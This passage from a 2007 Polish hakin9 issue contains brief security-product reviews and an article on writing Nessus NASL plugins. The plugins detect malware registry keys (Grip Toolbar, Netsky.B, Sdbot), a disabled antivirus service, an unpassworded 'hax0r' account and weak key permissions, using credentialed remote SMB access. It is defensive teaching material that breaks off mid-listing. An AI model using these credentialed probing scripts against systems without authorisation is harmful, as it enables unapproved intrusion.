nie przez RS-232. Urządzenie jest warte zainteresowa-
nia dzięki szerokiemu zakresowi możliwości, jakie nam
oferuje. Jednak brak dokumentacji w języku polskim (a
przecież produkt ma być sprzedawany nam - Polakom) i
pakiet administracyjny przygotowany tylko dla systemów
z rodziny Windows trochę zniechęca. Pomimo tych niedo-
ciągnięć jest to urządzenie godne polecenia. W sieciach
domowych pozwala na filtrowanie informacji napływają-
cych z Internetu i trafiających do naszych pociech, a w
małych firmach pozwala ograniczyć dostęp do Sieci tylko
do konkretnych aplikacji, niezbędnych do pracy.

Robert Zadrożny

Producent: NETASQ

Model: NA-F60

Typ: Firewall

Przeznaczenie: małe i średnei firmy

Strona producenta: http://www.netascq.com

Cena: 6534,60 PLN

Ocena: 4,5/5

NETASQ NA-F60

Rysunek 1.

NA-F60

background image

12

Narzędzia

hakin9 Nr 8/2007

www.hakin9.org

13

hakin9 Nr 8/2007

www.hakin9.org

Narzędzia

Każdego dnia nasz komputer atakowany jest przez
różnego rodzaju wirusy, robaki i inne złośliwe opro-
gramowanie. Z tego też względu coraz ważniejsze
jest jego dobre zabezpieczenie. Nie wystarczy już
sam antywirus uruchamiany od przypadku do przy-
padku, niezbędne jest kompleksowe zabezpiecze-
nie. Oferuje je nam właśnie pakiet o nazwie Panda

Internet Security 2007. Jest to najbardziej rozbudo-
wane, wśród spotykanych na rynku, oprogramowanie
do ochrony komputera, pochodzące od firmy Panda
Software. Jego ogromną zaletą jest już możliwość
zainstalowania go na trzech komputerach przy zaku-
pie tylko jednej licencji. Dodatkowo mamy do dyspo-
zycji pomoc techniczną 24 godziny na dobę przez 365
dni w roku – poprzez Internet.

PIS 2007 składa się z kilku modułów, które pozwalają

zadbać o bezpieczeństwo. Są to:

Ochrona danych osobowych. Dzięki temu moduło-

wi możemy dokonywać w Internecie wszelkiego typu
transakcje bez obawy, że ktoś przechwyci nasze
dane i wykorzysta je do własnych potrzeb.

Najnowszej generacji program antywirusowy. Przez

wykorzystanie technologii heurystycznej, PIS jest w
stanie automatycznie wykryć i wyeliminować wszel-
kiego rodzaju (nawet jeszcze nie znane) wirusy,
robaki i trojany.

Osobisty firewall. Jest to chyba najbardziej podstawo-

we zabezpieczenie komputera przed atakami hake-
rów. Dzięki niemu mamy możliwość ustawienia, które
programy mogą się łączyć z Internetem, a jakie nie.
Dodatkowo PIS informuje nas o wszystkich nieauto-
ryzowanych próbach połączenia się z naszym kom-
puterem

Antispyware. Pomaga nam chronić swoją prywatność

w Internecie. Jest to zabezpieczenie przed programa-
mi, które mogą np. spowalniać pracę naszego kompu-
tera, wyświetlać tysiące irytujących reklam czy też po
prostu śledzić nasze poczynania podczas pracy na
komputerze.

Antispam. Rozpoznaje i blokuje maile, w których

znajdują się niebezpieczne dla naszego komputera
załączniki, a także wszelkiego rodzaju reklamy, któ-
rych jest coraz więcej w naszej skrzynce.

Kontrola rodzicielska. Ten moduł umożliwia stworze-

nie użytkowników z dostępem na hasło i określenie
dla nich różnego rodzaju dostępu do Internetu. Dzięki
temu możemy mieć pewność, że nasze dzieci nie
będą odwiedzały stron szkodliwych dla nich, a nasz
pracownik nie będzie surfował po Internecie, zamiast
pracować.

Wymagania jak na programy tego typu są bardzo skrom-
ne. Aby program funkcjonował, wystarczy, że będzie-
my posiadali komputer z procesorem 300MHz, 128MB
pamięci ram i 160MB wolnego miejsca na dysku.

Wszystko to sprawia, że opisywany produkt jest

niemal idealny do zabezpieczenia komputera. Podczas
codziennej pracy w ogóle nie daje się odczuć, że działa
on w tle. Jego obsługa jest intuicyjna, przez co nie będą
miały problemu z nią problemów nawet osoby, które
nigdy wcześniej nie korzystały z tego typu oprogramowa-
nia. Według mnie jest to obecnie najlepszy program do
ochrony komputera.

Robert Zadrożny

Producent: Panda Software

Cena: 210 PLN

Strona producenta: http://www.pandasoftware.com.pl

Typ: Ochrona komputera

Ilość stanowisk: 3

Licencja: 1 rok

Ocena: 5/5

Panda Internet Security 2007

Rysunek 1.

Zrzut ekranu programu Panda Internet

Security 2007

background image

14

Narzędzia

hakin9 Nr 8/2007

www.hakin9.org

W końcu dostałem do swych rąk program Eagleeyeos

Professional Severe. Produkt ów nie wydawał się, po
okładce sądząc, zbyt skomplikowany, a jednak okazało
się, że jest wprost przeciwnie. O ile program jest bardzo
dobry i funkcjonalny, o tyle wadą jest jego bardzo skom-
plikowana instalacja, stąd zamierzam na niej właśnie
położyć nacisk w tej recenzji. Dlaczego akurat instala-
cja? Ponieważ okazała się ona bardziej skomplikowana
niż samo użytkowanie tego programu. Wkładając pro-
gram do czytnika CD, nie wiedziałem jeszcze, co mnie
czeka. Okazało się, że proces instalacyjny stanowi tu
nie lada wyzwanie, ponieważ nie każdy uczy się języka
angielskiego, a cała instalacja i rejestracja programu
przebiega właśnie w języku angielskim. Nie miałem
żadnego punktu zaczepienia i nie wiedziałem, jak

ugryźć ten program, aż w końcu napisałem własny tuto-
rial na temat jego instalacji. Okazało się, że wcale nie
było to takie trudne. Wreszcie przystąpiłem do instalacji.
Jednak i tu nie obyło się bez błędów. Już powoli zaczy-
nało brakować mi czasu i ochoty, by się ciągle męczyć
z programem. Jednak często, jak mam juz coś zrobić,
to wiem, że muszę zrobić to dobrze. Tak też było z tym
programem. Po zakończeniu instalacji zapoznałem się
z jego funkcjonalnościami i okazało się, że program
jest wart swojej ceny! EagleEyeOS Professional Severe
zapewnia ochronę zupełną. Kompletny zasięg inteligen-
cji przez posługiwanie alarmów, rozwiniętego monitoro-
wania w przypadku użyć drukarzy. Cykl dokumentów
może zostać skontrolowany i wyśledzony z monitoro-
waniem działalności użytkownika, tworząc kwarantan-
ny dokument, ponadto kontrolując urządzenia przeno-
śne. Program gwarantuje kompletne zarządzanie siecią
dla małych i dużych przedsiębiorstw.

Strony: Home, Real-Time Monitoring, Reports,

File Lifecycle Tracking (FLT), Storage Lifecycle Trac-

king (SLT), Auto Reports, Alerts, Center. Panele takie
jak: Hosts, Properties, Servers, Archives, Operators,

Server Log, Install Log. Forest: Rule Groups, Log Fil-

ters, Filters, Devices, Quarantines, Snapshot, Prin-

ters. Technologia: Kernel Level Development, Appli-

cation Independece, File System and Hardware Inde-

pendence, Support of the Non-Microsoft-Based File

Sparing, Reproduction Independence, Own Protecti-

ve Line, Devices (Availability Independence), Stora-

ges (producer and type independence), SQL Support,

EagleEyeOS Zone, SYSLOG Support, Notebook han-

dling (local storage procedure) oraz Data Loss Pre-

vention. Co prawda nie znam się dokładniej na tego
typu programach, jako że nie prowadzę własnej dzia-
łalności gospodarczej, jednak z całą pewnością mogę
stwierdzić, że program rzeczywiście jest profesjonal-
ny i niczego więcej mu nie potrzeba. Cała sztuka w
tym, aby zrozumieć, co jest napisane w języku angiel-
skim. Stosujmy się więc do poleceń i zaleceń autorów.
Moim zdaniem produkt jest bardzo przydatny i niezwy-
kle funkcjonalny. Polecam go wszystkim tym, którzy
posiadają swoje przedsiębiorstwo - te duże i te cał-
kiem małe.

Karol Ciężki

Producent: EagleEyeOS

Typ: Program zabezpieczający

Przeznaczenie: Użytkownicy indywidualni i nie tylko

Strona producenta: www.eagleeyeos.com

Cena: 317 PLN

Eagleeyeos Professional

Severe

Rysunek 1.

Professional Severe-NFR

background image
background image

www.hakin9.org

hakin9 Nr 8/2007

16

Początki

M

alware lub PuP musi przechowywać
pewne dane w systemie, aby wcho-
dzić z nim w interakcję. Konieczne

jest to, aby móc tworzyć lub modyfikować usłu-
gę, aby automatycznie uruchamiać się pod-
czas bootowania, aby podłączyć się do Internet
Explorera. Te czynności mające miejsce w sys-
temie, a właściwie w rejestrze Windows, moż-
na wykryć.

Podejrzany klucz, przykład potencjalnie nie-

pożądanego programu poprzez moduły Brow-

ser Helper Object dla aplikacji Internet Explorer.

Browser Helper Object (BHO) jest modułem

DLL, zaprojektowanym jako plugin dla prze-
glądarki internetowej Microsoft Internet Explo-
rer w celu dostarczenia dodatkowej funkcjo-
nalności. Moduły BHO zostały wprowadzo-
ne do IE w październiku 1997 wraz z ukaza-
niem się wersji 4 Internet Explorera. Większość
modułów BHO jest jeden raz ładowana przez
każdą nową instancję Internet Explorera (http://

en.wikipedia.org/wiki/Browser_Helper_Object).

Przykład użycia: chcemy wykryć CursorZo-

ne, Grip Toolbar, znane spyware zbierające in-
formacje o przeglądaniu i modyfikujące do-
myślną stronę wyszukującą. Aby dowiedzieć
się więcej na jego temat, zobacz:

http://www.castlecops.com /tk28918-

gripcz4_dll.html,

http://research.sunbelt-software.com/threa

tdisplay.aspx?name=Grip%20Toolbar&thre-

atid=14981.

Znamy GUID (skrót od Globally Unique Iden-

tifier, unikalnej 128-bitowej liczby tworzonej
przez system Windows lub przez niektóre apli-
kacje Windows w celu identyfikacji konkretne-
go komponentu, aplikacji, pliku, wpisu w bazie
danych, i/lub użytkownika) ({4E7BD74F-2B8D-

Podejrzany klucz rejestru

David Maciejak

stopień trudności

Ten artykuł prezentuje sposoby wykrycia działania złośliwego

oprogramowania. Może ono być przeprowadzane automatycznie

za pomocą skanera luk zabezpieczeń obsługującego lokalne

testowanie skryptów, takiego jak Nessus.

Z artykułu dowiesz się

jak wykryć ślady infekcji, zwłaszcza na platfor-
mie Microsoft Windows,

jak pisać własne pluginy Nessusa używając
NASL.

Co powinieneś wiedzieć

jak używać narzędzia Nessus,

mieć podstawową wiedzę na temat NASL i/lub
umiejętność pisania skryptów,

znać systemy Microsoft Windows i Linux.

background image

Podejrzany klucz rejestru

hakin9 Nr 8/2007

www.hakin9.org

17

Listing 1a.

Sprawdzanie klucza rejestru Grip Toolbar

if

(

description

)

{

script_id

(

16314

);

script_version

(

"$Revision: 1.6 $"

);

name

[

"english"

]

=

"Potentially unwanted software"

;

script_name

(

english

:

name

[

"english"

]);

desc

[

"english"

]

=

"

This script checks for the presence of files and programs which
might have been installed without the consent of the user of the
remote host.
Verify each of softwares found to see if they are compliant with
you security policy.
Solution : See the URLs which will appear in the report
Risk factor : High"

;

script_description

(

english

:

desc

[

"english"

]);

summary

[

"english"

]

=

"Checks for the presence of differents dll on the remote host"

;

script_summary

(

english

:

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

:

"This script is Copyright (C) 2005 David Maciejak and Tenable Network Security"

);

family

[

"english"

]

=

"Windows"

;

script_family

(

english

:

family

[

"english"

]);

script_dependencies

(

"smb_hotfixes.nasl"

);

script_require_keys

(

"SMB/Registry/Enumerated"

);

script_require_ports

(

139

,

445

);

exit

(

0

);

}

#load specific SMB function

include

(

"smb_func.inc"

);

include

(

"smb_hotfixes.inc"

);

if

(

get_kb_item

(

"SMB/samba"

)

)

exit

(

0

);

global_var

handle

;

#get port info from knowledge base

port

=

kb_smb_transport

();

if

(!

port

)

exit

(

0

);

#get credential and domain name from knowledge base

if

(!

get_port_state

(

port

))

return

(

FALSE

);

login

=

kb_smb_login

();

pass

=

kb_smb_password

();

domain

=

kb_smb_domain

();

soc

=

open_sock_tcp

(

port

);

if

(!

soc

)

exit

(

0

);

session_init

(

socket

:

soc

,

hostname

:

kb_smb_name

());

#connect to IPC$ share

ret

=

NetUseAdd

(

login

:

login

,

password

:

pass

,

domain

:

domain

,

share

:

"IPC$"

);

if

(

ret

!=

1

)

exit

(

0

);

#open an handle on registry entry KKEY_CLASS_ROOT

handle

=

RegConnectRegistry

(

hkey

:

HKEY_CLASS_ROOT

);

if

(

isnull

(

handle

)

)

exit

(

0

);

function

check_reg

(

name

,

url

,

key

,

item

,

exp

)

{

local_var

key_h

,

value

,

sz

;

#open the registry key

key_h

=

RegOpenKey

(

handle

:

handle

,

key

:

key

,

mode

:

MAXIMUM_ALLOWED

);

if

(

!

isnull

(

key_h

)

)

{

#query the subkey if item != NULL

value

=

RegQueryValue

(

handle

:

key_h

,

item

:

item

);

RegCloseKey

(

handle

:

key_h

);

if

(

!

isnull

(

value

)

)

sz

=

value

[

1

];

else

return

0

;

}

else

return

0

;

#if subkey equals the exp value that we expected

if

(

exp

==

NULL

||

tolower

(

exp

)

><

tolower

(

sz

))

background image

hakin9 Nr 8/2007

www.hakin9.org

Początki

18

469E-A6E4-FC7CBD87BD7D}) i je-
dną z nazw plików, które dodawany
jest do systemu (gripcz4.dll).

Skrypt (Zobacz Listing 1) łączy

się do zdalnego rejestru, aby spraw-
dzić, czy istnieją GUID oraz nazwa
pliku (jest to wycinek z smb_suspicio-

us_files.nasl). Listing 2. przedstawia
nieco łatwiejszy przykład. Nie musi-
my w nim testować wartości wpisu
klucza, ale dowiedzieć się tylko, czy
klucz istnieje. Microsoft umożliwia
możliwość zabezpieczenia się przed

luką, polegającą na zdalnym urucho-
mieniu kodu w Vector Markup Langu-

age (aby dowiedzieć się więcej, zo-
bacz CVE-2006-4868). Użytkownicy
muszą wyrejestrować vgx.dll. Plugin
sprawdza, czy plik DLL został wyre-
jestrowany i wtedy nie jest uwzględ-
niany w rejestrze.

Podejrzany

autostart programu

Złośliwe oprogramowanie często
wykorzystuje następujące klucze

do dodania do nich wpisu i urucha-
mienia przez system podczas jego
startu:

H K E Y_ LO C A L _ M AC H I N E\

S O F T W A R E \ M i c r o s o f t \

Windows\CurrentVersion\Run
– przeznaczone dla progra-
mu, który musi być uruchamia-
ny podczas każdego bootowa-
nia. Warto zauważyć, że ro-
ot path może mieć też po-
stać HKEY_CURRENT USER,

Listing 1b.

Sprawdzanie klucza rejestru Grip Toolbar

{

report

=

string

(

"'"

,

name

,

"' is installed on the remote host.

\n

"

,

"Make sure that the user of the remote host intended to install
this software and that its use matches your corporate security
policy.

\n\n

"

,

"Solution : "

,

url

,

"

\n

"

,

"Risk factor : High"

);

#report specific data based on this malware

security_hole

(

port

:

kb_smb_transport

()

,

data

:

report

);

}

}

i

=

0

;

###############################################################################

name

=

make_list

();

name

[

i

]

=

"Grip Toolbar"

;

url

[

i

]

=

"http://www.giantcompany.com/antispyware/research/spyware/spyware-Grip-Toolbar.aspx"

;

key

[

i

]

=

"CLSID

\{

4E7BD74F-2B8D-469E-A6E4-FC7CBD87BD7D}

\I

nprocServer32"

;

item

[

i

]

=

NULL

;

exp

[

i

]

=

"gripcz4.dll"

;

###############################################################################

for

(

i

=

0

;

name

[

i

];

i

++)

{

#call the check_reg function

check_reg

(

name

:

name

[

i

]

,

url

:

url

[

i

]

,

key

:

key

[

i

]

,

item

:

item

[

i

]

,

exp

:

exp

[

i

]);

}

RegCloseKey

(

handle

:

handle

);

NetUseDel

();

Tabela 1.

Początkowa wartość usług Windows

Typ uruchomienia

Loader

Znaczenie

0x0 (Boot)

Kernel

Reprezentuje część stosu sterownika dla bootowanego
(uruchamianego) wolumenu i dlatego musi być załadowany
przez Boot Loader.

0x1 (System)

I/O subsystem

Reprezentuje sterownik ładowany podczas inicjalizacji Ker-
nela.

0x2 (Auto load)

Service Control Ma-
nager

Ładowany lub uruchamiany automatycznie dla wszystkich
uruchomień, bez względu na rodzaj usługi.

0x3 (Load on demand)

Service Control Ma-
nager

Dostępny bez względu na typ, jednak uruchamiany tylko
przez użytkownika (na przykład poprzez kliknięcie na ikonę
Urządzenia w Panelu sterowania).

0x4 (disabled)

Service Control Ma-
nager

NIE POWINIEN BYĆ URUCHAMIANY W ŻADNYM WY-
PADKU.

background image

Podejrzany klucz rejestru

hakin9 Nr 8/2007

www.hakin9.org

19

Listing 2.

Sprawdzanie wyrejestrowania dll w Vector Markup Language

if

(

description

)

{

script_id

(

90001

);

script_cve_id

(

"CVE-2006-4868"

);

script_bugtraq_id

(

20096

);

script_version

(

"$Revision: 1.0 $"

);

name

[

"english"

]

=

"Vulnerability in Vector Markup Language Could Allow Remote Code Execution (925568)"

;

script_name

(

english

:

name

[

"english"

]);

desc

[

"english"

]

=

"

Synopsis

Arbitrary code can be executed on the remote host through the email client or the web browser.

Description

The remote host is running a version of Internet Explorer or Outlook Express which is vulnerable to a bug in the

§

Vector Markup Language handling routine which may allow an attacker execute arbitrary code on the

§

remote host by sending a specially crafted email.

Solution

A workaround is availabe at: http://www.microsoft.com/technet/security/advisory/925568.mspx.

Risk factor

High / CVSS Base Score: 8

(AV:R/AC:H/Au:NR/C:C/A:C/I:C/B:N)"

;

script_description

(

english

:

desc

[

"english"

]);

summary

[

"english"

]

=

"Checks if VML is registered"

;

script_summary

(

english

:

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

:

"This script is Copyright (C) 2006 Tenable Network Security"

);

family

[

"english"

]

=

"Windows : Microsoft Bulletins"

;

script_family

(

english

:

family

[

"english"

]);

script_dependencies

(

"smb_hotfixes.nasl"

);

script_require_keys

(

"SMB/Registry/Enumerated"

);

script_require_ports

(

139

,

445

);

exit

(

0

);

}

#load smb modules

include

(

"smb_func.inc"

);

include

(

"smb_hotfixes.inc"

);

include

(

"smb_hotfixes_fcheck.inc"

);

#get credential and hostname from kb

login

=

kb_smb_login

();

pass

=

kb_smb_password

();

domain

=

kb_smb_domain

();

port

=

kb_smb_transport

();

#exit if port is closed

if

(!

get_port_state

(

port

))

exit

(

1

);

#open socket

soc

=

open_sock_tcp

(

port

);

if

(!

soc

)

exit

(

1

);

#init session, connect to IPC$ share

session_init

(

socket

:

soc

,

hostname

:

kb_smb_name

());

r

=

NetUseAdd

(

login

:

login

,

password

:

pass

,

domain

:

domain

,

share

:

"IPC$"

);

if

(

r

!=

1

)

exit

(

1

);

hkcr

=

RegConnectRegistry

(

hkey

:

HKEY_CLASS_ROOT

);

if

(

isnull

(

hkcr

)

)

{

NetUseDel

();

exit

(

1

);

}

registered

=

0

;

#try to open given CLSID

key_h

=

RegOpenKey

(

handle

:

hkcr

,

key

:

"CLSID

\{

10072CEC-8CC1-11D1- 986E-00A0C955B42E}

\I

nprocServer32"

,

§

mode

:

MAXIMUM_ALLOWED

);

if

(!

isnull

(

key_h

))

{

registered

=

1

;

}

RegCloseKey

(

handle

:

hkcr

);

NetUseDel

();

#if key was found

if

(

registered

)

security_hole

(

port

);

background image

hakin9 Nr 8/2007

www.hakin9.org

Początki

20

Listing 3.

Sprawdzanie wpisu podklucza rejestru robaka NetSky

if

(

description

)

{

script_id

(

12070

);

script_version

(

"$Revision: 1.1 $"

);

name

[

"english"

]

=

"Netsky.B"

;

script_name

(

english

:

name

[

"english"

]);

desc

[

"english"

]

=

"

This system appears to be infected by Netsky.B which is a mass-mailing worm that uses its own SMTP engine to

§

distribute itself to the email addresses it collects when probing local hard drives or remote mapped drives.

Solution: Update your Anti-virus definitions file and perform a complete system scan.

See also:

http://vil.nai.com/vil/content/v_101034.htm,

http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM_NETSKY.B.

Risk factor: High"

;

script_description

(

english

:

desc

[

"english"

]);

summary

[

"english"

]

=

"Detects Netsky.B Registry Key"

;

script_summary

(

english

:

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

:

"This script is Copyright (C) 2003 Renaud Deraison modified by c.houle@bell.ca"

);

family

[

"english"

]

=

"Windows"

;

script_family

(

english

:

family

[

"english"

]);

script_dependencie

(

"netbios_name_get.nasl"

,

"smb_login.nasl"

,

"smb_registry_access.nasl"

);

script_require_keys

(

"SMB/name"

,

"SMB/login"

,

"SMB/password"

,

"SMB/domain"

,

"SMB/transport"

);

script_require_ports

(

139

,

445

);

exit

(

0

);

}

include

(

"smb_nt.inc"

);

#return item found under key on HKEY_LOCAL_MACHINE root

version

=

registry_get_sz

(

key

:

"SOFTWARE

\M

icrosoft

\W

indows

\C

urrentVersion

\R

un"

,

item

:

"service"

);

if

(

!

version

)

exit

(

0

);

if

(

"services.exe -serv"

><

version

)

security_hole

(

port

);

Listing 4.

Sprawdzanie obecności podejrzanej usługi robaka Sdbot

if

(

description

)

{

script_id

(

95000

);

script_version

(

"$Revision: 1.0 $"

);

name

[

"english"

]

=

"W32/Sdbot.worm.gen.by"

;

script_name

(

english

:

name

[

"english"

]);

desc

[

"english"

]

=

"

This system appears to be infected by W32/Sdbot.worm.gen.by which is a worm spreading using multiple attacking vector.

Solution: Update your Anti-virus definitions file and perform a complete system scan.

See also: http://vil.mcafeesecurity.com/vil/content/v_133133.htm.

Risk factor: High"

;

script_description

(

english

:

desc

[

"english"

]);

summary

[

"english"

]

=

"Detects W32/Sdbot.worm.gen.by"

;

script_summary

(

english

:

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

:

"This script is Copyright (C) 2006 D. Maciejak"

);

family

[

"english"

]

=

"Windows"

;

script_family

(

english

:

family

[

"english"

]);

script_dependencie

(

"netbios_name_get.nasl"

,

"smb_login.nasl"

,

"smb_registry_access.nasl"

);

script_require_keys

(

"SMB/name"

,

"SMB/login"

,

"SMB/password"

,

"SMB/domain"

,

"SMB/transport"

);

script_require_ports

(

139

,

445

);

exit

(

0

);

}

include

(

"smb_nt.inc"

);

#return item found under key on HKEY_LOCAL_MACHINE root

filepath

=

registry_get_sz

(

key

:

"system

\c

urrentcontrolset

\s

ervices

\r

pcsvc

"

,

item

:

"imagepath"

);

if

(

!

filepath

)

exit

(

0

);

if

(

"

\S

ystem32

\r

pcsvc.exe"

><

filepath

)

security_hole

(

port

);

background image

Podejrzany klucz rejestru

hakin9 Nr 8/2007

www.hakin9.org

21

H K E Y_ LO C A L _ M AC H I N E \

S O F T W A R E \ M i c r o s o f t \

W i n d o w s \ C u r r e n t Ve r s i o n \

RunServices – przeznaczone dla
usługi, która musi być urucha-
miana podczas każdego booto-
wania,

H K E Y_ LO C A L _ M AC H I N E\

S O F T W A R E \ M i c r o s o f t \

W i n d o w s \ C u r r e n t Ve r s i o n \

RunServicesOnce – przeznaczo-
ne dla usługi, która musi być uru-
chamiana raz podczas następne-
go rebootowania. Wszystkie te
trzy klucze i ich wpisy są wczyty-
wane asynchronicznie.

H K E Y_ LO C A L _ M AC H I N E\

S O F T W A R E \ M i c r o s o f t \

W i n d o w s \ C u r r e n t Ve r s i o n \

RunOnce – przeznaczone dla
programu, który musi być uru-
chamiany raz podczas następ-
nego rebootowania; są wczy-
tywane synchronicznie w nie-
określonym porządku. Warto za-
uważyć, że root path może też
mieć postać HKEY_CURRENT
USER (szczegóły pod adresem:

http://support.microsoft.com/kb/

158022/en-us)

H K E Y_ LO C A L _ M AC H I N E\

S O F T W A R E \ M i c r o s o f t \

W i n d o w s \ C u r r e n t Ve r s i o n \

RunOnceEx – dotyczy Windows
98 i Millennium.

Wpisy i sekcje są posortowane al-
fabetycznie, aby wymusić porzą-
dek deterministyczny; nie jest two-
rzony odrębny proces dla każde-
go wpisu. Lista zależności modu-
łów dll pozostaje wczytana (aby
dowiedzieć się więcej zobacz http:

//support.microsoft.com/?scid=kb%

3Benus%3B232487&x=18&y=13).

Przykład użycia: Rozprzestrze-

nia się robak Netsky.B i chcemy wie-
dzieć, czy stacje robocze w naszej
firmie zostały zainfekowane. Wiemy
już z przeglądu technicznego Trend-
Micro (http://www.trendmicro.com/

vinfo/virusencyclo/default5.asp?

V N a m e = W O R M _ N E T S K Y. B ) ,
że dodaje on wpis podklucza
o nazwie

service

z wartością

services.exe -serv

w kluczu re-

jestru HKEY_LOCAL_MACHINE\

Listing 5.

Sprawdzanie, czy została wyłączona usługa antywirusowa

Nod32

if

(

description

)

{

script_id

(

95001

);

script_version

(

"$Revision: 1.0 $"

);

name

[

"english"

]

=

"Nod32 antivirus disabled"

;

script_name

(

english

:

name

[

"english"

]);

desc

[

"english"

]

=

"

Synopsis :

Remote system is not configured for running Nod32 antivirus.

Description:

The remote host does not have Nod32 antivirus enabled.

Solution:

Enable Nod32 service on this host

Risk factor:

None"

;

script_description

(

english

:

desc

[

"english"

]);

summary

[

"english"

]

=

"Determines if Nod32 antivirus is disabled"

;

script_summary

(

english

:

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

:

"This script is Copyright (C) 2007 David Maciejak"

);

family

[

"english"

]

=

"Windows"

;

script_family

(

english

:

family

[

"english"

]);

script_dependencies

(

"netbios_name_get.nasl"

,

"smb_login.nasl"

,

"smb_registry_access.nasl"

);

script_require_keys

(

"SMB/transport"

,

"SMB/name"

,

"SMB/login"

,

§

"SMB/password"

,

"SMB/registry_access"

);

script_require_ports

(

139

,

445

);

exit

(

0

);

}

include

(

"smb_func.inc"

);

port

=

get_kb_item

(

"SMB/transport"

);

if

(!

port

)

port

=

139

;

#load credential and host data from kb

name

=

kb_smb_name

();

if

(!

name

)

exit

(

0

);

login

=

kb_smb_login

();

pass

=

kb_smb_password

();

domain

=

kb_smb_domain

();

port

=

kb_smb_transport

();

#test if port is closed

if

(

!

get_port_state

(

port

)

)

exit

(

0

);

#open socket

soc

=

open_sock_tcp

(

port

);

if

(

!

soc

)

exit

(

0

);

#init session to host

session_init

(

socket

:

soc

,

hostname

:

name

);

#open share with credential

r

=

NetUseAdd

(

login

:

login

,

password

:

pass

,

domain

:

domain

,

share

:

"IPC$"

);

if

(

r

!=

1

)

exit

(

0

);

#connect to HKEY_LOCAL_MACHINE registry

hklm

=

RegConnectRegistry

(

hkey

:

HKEY_LOCAL_MACHINE

);

if

(

isnull

(

hklm

)

)

{

NetUseDel

();

exit

(

0

);

}

key

=

"SYSTEM

\C

urrentControlSet

\S

ervices

\N

OD32krn"

;

item

=

"Start"

;

#open NOD32 key

key_h

=

RegOpenKey

(

handle

:

hklm

,

key

:

key

,

mode

:

MAXIMUM_ALLOWED

);

if

(

!

isnull

(

key_h

)

)

{

#catch the value

value

=

RegQueryValue

(

handle

:

key_h

,

item

:

item

);

#test if value is set to disable mode

if

(!

isnull

(

value

)

&&

((

value

[

1

]

==

3

)||(

value

[

1

]

==

4

))

#if so it's stange, we report it

security_note

(

port

);

RegCloseKey

(

handle

:

key_h

);

}

RegCloseKey

(

handle

:

hklm

);

NetUseDel

();

background image

hakin9 Nr 8/2007

www.hakin9.org

Początki

22

Listing 6.

Sprawdzanie obecności konta hax0r z pustym hasłem

if

(

description

)

{

script_id

(

11253

);

script_version

(

"$Revision: 1.10 $"

);

script_cve_id

(

"CVE-1999-0502"

);

script_name

(

english

:

"Unpassworded hax0r account"

);

desc

[

"english"

]

=

"

The account 'hax0r' has no password set.
An attacker may use it to gain further privileges on this system
Risk factor: High
Solution: Set a password for this account or disable it"

;

script_description

(

english

:

desc

[

"english"

]);

script_summary

(

english

:

"Logs into the remote host"

);

script_category

(

ACT_GATHER_INFO

);

script_family

(

english

:

"Default Unix Accounts"

);

script_copyright

(

english

:

"This script is Copyright (C) 2003 Renaud Deraison"

);

script_dependencie

(

"find_service.nes"

,

"ssh_detect.nasl"

);

script_require_ports

(

"Services/telnet"

,

23

,

"Services/ssh"

,

22

);

script_require_keys

(

"Settings/ThoroughTests"

);

exit

(

0

);

}

#load needed functions

include

(

"default_account.inc"

);

include

(

"global_settings.inc"

);

if

(

!

thorough_tests

)

exit

(

0

);

account

=

"hax0r"

;

#if no optional 2nd parameter is given in check_account(login, password),

§

it

#check against an empty password

port

=

check_account

(

login

:

account

);

if

(

port

)

security_hole

(

port

);

Listing 7a.

Sprawdzanie uprawnień klucza rejestru

if

(

description

)

{

script_id

(

11867

);

script_bugtraq_id

(

2065

);

script_version

(

"$Revision: 1.8 $"

);

script_cve_id

(

"CVE-2001-0047"

);

name

[

"english"

]

=

"SMB Registry : permissions of the Microsoft Transaction Server key"

;

script_name

(

english

:

name

[

"english"

]);

desc

[

"english"

]

=

"

Synopsis :
A local user can gain additional privileges.
Description:
The registry key HKLM

\S

OFTWARE

\M

icrosoft

\T

ransaction Server

\P

ackages

can be modified by users not in the admin group.
Write access to this key allows an unprivileged user to gain additional
privileges.
See also:
http://www.microsoft.com/technet/security/bulletin/ms00-095.mspx
Solution:
Use regedt32 and set the permissions of this key to:
- admin group: Full Control
- system: Full Control
- everyone: Read
Risk factor:
Medium / CVSS Base Score: 5
(AV:L/AC:L/Au:NR/C:P/A:P/I:P/B:N)"

;

script_description

(

english

:

desc

[

"english"

]);

summary

[

"english"

]

=

"Determines the access rights of a remote key"

;

script_summary

(

english

:

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

:

"This script is Copyright (C) 2003 Tenable Network Security"

);

background image

Podejrzany klucz rejestru

hakin9 Nr 8/2007

www.hakin9.org

23

SOFTWARE\Microsoft\Windows\

CurrentVersion\Run, aby wyko-
nywać autostart podczas booto-
wania.

Skrypt (zobacz Listing 3.) otwie-

ra rejestr, sprawdza obecność po-
dejrzanego klucza i testuje wartość
podklucza.

Podejrzana usługa

Czasami złośliwe oprogramowanie in-
staluje się jako usługa, by móc uru-
chamiać się automatycznie podczas

Listing 7b.

Sprawdzanie uprawnień klucza rejestru

family

[

"english"

]

=

"Windows"

;

script_family

(

english

:

family

[

"english"

]);

script_dependencies

(

"netbios_name_get.nasl"

,

"smb_login.nasl"

,

"smb_registry_access.nasl"

);

script_require_keys

(

"SMB/transport"

,

"SMB/name"

,

"SMB/login"

,

"SMB/password"

,

"SMB/registry_access"

);

script_require_ports

(

139

,

445

);

exit

(

0

);

}

#load SMB function

include

(

"smb_func.inc"

);

access

=

get_kb_item

(

"SMB/registry_access"

);

if

(!

access

)

exit

(

0

);

port

=

get_kb_item

(

"SMB/transport"

);

if

(!

port

)

port

=

139

;

#get credential and hostname from kb

name

=

kb_smb_name

();

if

(!

name

)

exit

(

0

);

login

=

kb_smb_login

();

pass

=

kb_smb_password

();

domain

=

kb_smb_domain

();

port

=

kb_smb_transport

();

#check if port is still open

if

(

!

get_port_state

(

port

)

)

exit

(

0

);

#open network connection

soc

=

open_sock_tcp

(

port

);

if

(

!

soc

)

exit

(

0

);

#init session to hostname

session_init

(

socket

:

soc

,

hostname

:

name

);

#using given credential

r

=

NetUseAdd

(

login

:

login

,

password

:

pass

,

domain

:

domain

,

share

:

